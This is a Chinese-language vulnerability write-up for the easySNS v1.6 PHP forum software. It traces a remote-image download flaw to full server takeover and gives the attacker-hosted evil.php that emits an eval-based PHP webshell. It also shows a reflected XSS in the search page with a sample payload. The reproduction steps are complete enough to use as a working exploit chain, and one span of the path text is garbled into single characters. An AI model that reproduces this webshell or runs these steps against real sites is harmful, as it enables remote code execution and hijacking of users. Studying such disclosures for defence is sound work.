远程图片本地化导致getshell
漏洞位置在easySNS_v1.6 /app/common.func.php 文件下
function getImageToLocal($txt)
{
$keywords = webconfig('web_url');
$matches = array();
preg_match_all('/\<img.*?src\=\"(.*?)\"[^>]*>/i',htmlspecialchars_decode($txt),$matches);
if(!is_array($matches)) return $txt;
foreach ($matches[1] as $k => $v)
{
$url = trim($v,"\"'");
$ext = '';
if(strpos($url,$keywords) === false && (substr($url,0,7) == 'http://'||substr($url,0,8) == 'https://'))
{
$arr = getImage($url);
if($arr['error']==0){
$txt = str_replace($url, $keywords.'uploads/picture/cache/'.$arr['file_name'], $txt);
}
}
}
return $txt;
}
getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,又调用了getImage函数实现下载远程图片保存到本地,跟进同文件下的getImage函数进行查看:
function getImage($url,$save_dir='',$filename='',$type=0){
if(trim($url)==''){
return array('file_name'=>'','save_path'=>'','error'=>1);
}
$uid = is_login();
if(trim($save_dir)==''){
$save_dir='./uploads/picture/cache/'.$uid.'/';
}
if(trim($filename)==''){
$ext=strrchr($url,'.');
$filename=$uid.'_'.generate_password(8).time().$ext;
}
if(0!==strrpos($save_dir,'/')){
$save_dir.='/';
}
if(!file_exists($save_dir)&&!mkdir($save_dir,0777,true)){
return array('file_name'=>'','save_path'=>'','error'=>5);
}
if($type){
$ch=curl_init();
$timeout=5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$img=curl_exec($ch);
curl_close($ch);
}else{
ob_start();
readfile($url);
$img=ob_get_contents();
ob_end_clean();
}
$fp2=@fopen($save_dir.$filename,'a');
fwrite($fp2,$img);
fclose($fp2);
unset($img,$url);
return array('file_name'=>$filename,'save_path'=>$save_dir.$filename,'error'=>0);
}
在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。
选找那个调用了getImageToLocal函数,发现在:easySNS_v1.6 /app/index/controller/Topic.php下:
public function topicadd() {
if (IS_POST) {
$uid = is_login ();
$data = $this->param;
if ($uid == 0) {
$this->jump ( [
RESULT_ERROR,
'请先登录'
] );
}
if (self::$datalogic->setname ( 'user' )->getDataValue ( [
'id' => $uid
], 'status' ) == 6) {
$this->jump ( [
RESULT_ERROR,
'您已被禁言'
] );
}
$where['uid'] = $uid;
$cinfo = self::$datalogic->setname('topic')->getStat($where,'max','create_time');
if(time()-$cinfo<60){
$this->jump([RESULT_ERROR,'两次发帖时间过短']);
}
$data['content'] = htmlspecialchars_decode($data['content']);
if(webconfig('bd_image')==1){
$data ['content'] = getImageToLocal($data['content']);
}
复现: Webconfig获取系统配置项,如果存在缓存则获取缓存数据,如果不存在通过查询数据库获取。所以要利用这个漏洞需要后台开启远程图片本地化的配置。 在vps放置一个evil.php作为代码源,如http://127.0.0.1/evil.php
evil.php文件内容:
<?php
echo "<?php ";
echo "eval(file_get_contents('php://input'));";
echo "?>";
?>
注册个用户,选择发布帖子,在html代码编辑状态下插入img标签:
点击发布通过抓包发现发布成功: 通过查看帖子,获取上传后的文件名:文件路径格式为:文件路径格式为:/uploads/picture/cache/’.
u
i
d
.
′
/
+
uid.'/+
uid.′/+filename 查看个人主页获取uid 把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。 通过hackbar发送POST请求: 成功访问:
前台XSS跨站脚本漏洞
漏洞文件位置在easySNS_v1.6/app/index/controller/Search.php 中:
public function index(){
empty($this->param['q'])?$keyword='':$keyword=$this->param['q'];
$this->assign('keyword',$keyword);
return $this->fetch();
}
函数在获取到keyword参数后,并未做任何处理,直接输出到模板文件,导致程序在实现上存在存储型XSS跨站脚本漏洞,攻击者通过该漏洞可在页面中插入恶意js代码,获得用户cookie等信息,导致用户被劫持。
复现: 构造playload:q=1%27%3Balert%281%29%3B%2F%2F 通过抓包:
通过右击发送到Repeater,然后复制通过浏览器显示,: 成功捕获:
|